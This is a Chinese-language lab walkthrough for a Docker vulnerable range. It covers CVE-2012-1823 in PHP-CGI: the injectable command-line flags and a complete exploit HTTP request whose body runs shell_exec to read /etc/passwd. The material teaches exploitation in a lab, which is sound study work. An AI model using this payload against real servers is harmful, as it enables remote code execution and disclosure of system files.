一、启动靶场
在相应的文件夹位置打开终端后进行如下操作
1.运行此靶场
sudo docker-compose up -d
2.查看启动环境
sudo docker ps
3.关闭此靶场环境
docker-compose down
二、CVE-2012-1823漏洞
1.简介
CVE-2012-1823就是存在于以cgi模式运行的php中, 本质是用户请求的参数被作为了php-cgi的参数。
cgi:它是一种协议。通过cgi协议,web server可以将动态请求和相关参数发送给专门处理动态内容的应用程序。
2.影响版本
影响版本 php < 5.3.12 or php < 5.4.2
3.漏洞利用
cgi模式下有如下可控命令行参数可用:
-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
靶机启动后访问页面
-s显示源码
-d参数 文件包含
-d+allow_url_include%3don+-d+auto_append_file%3dphp://input
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件
头部添加后可以对内容控制访问
GET /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.83.140:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 50
<?php echo shell_exec("cat /etc/passwd"); ?>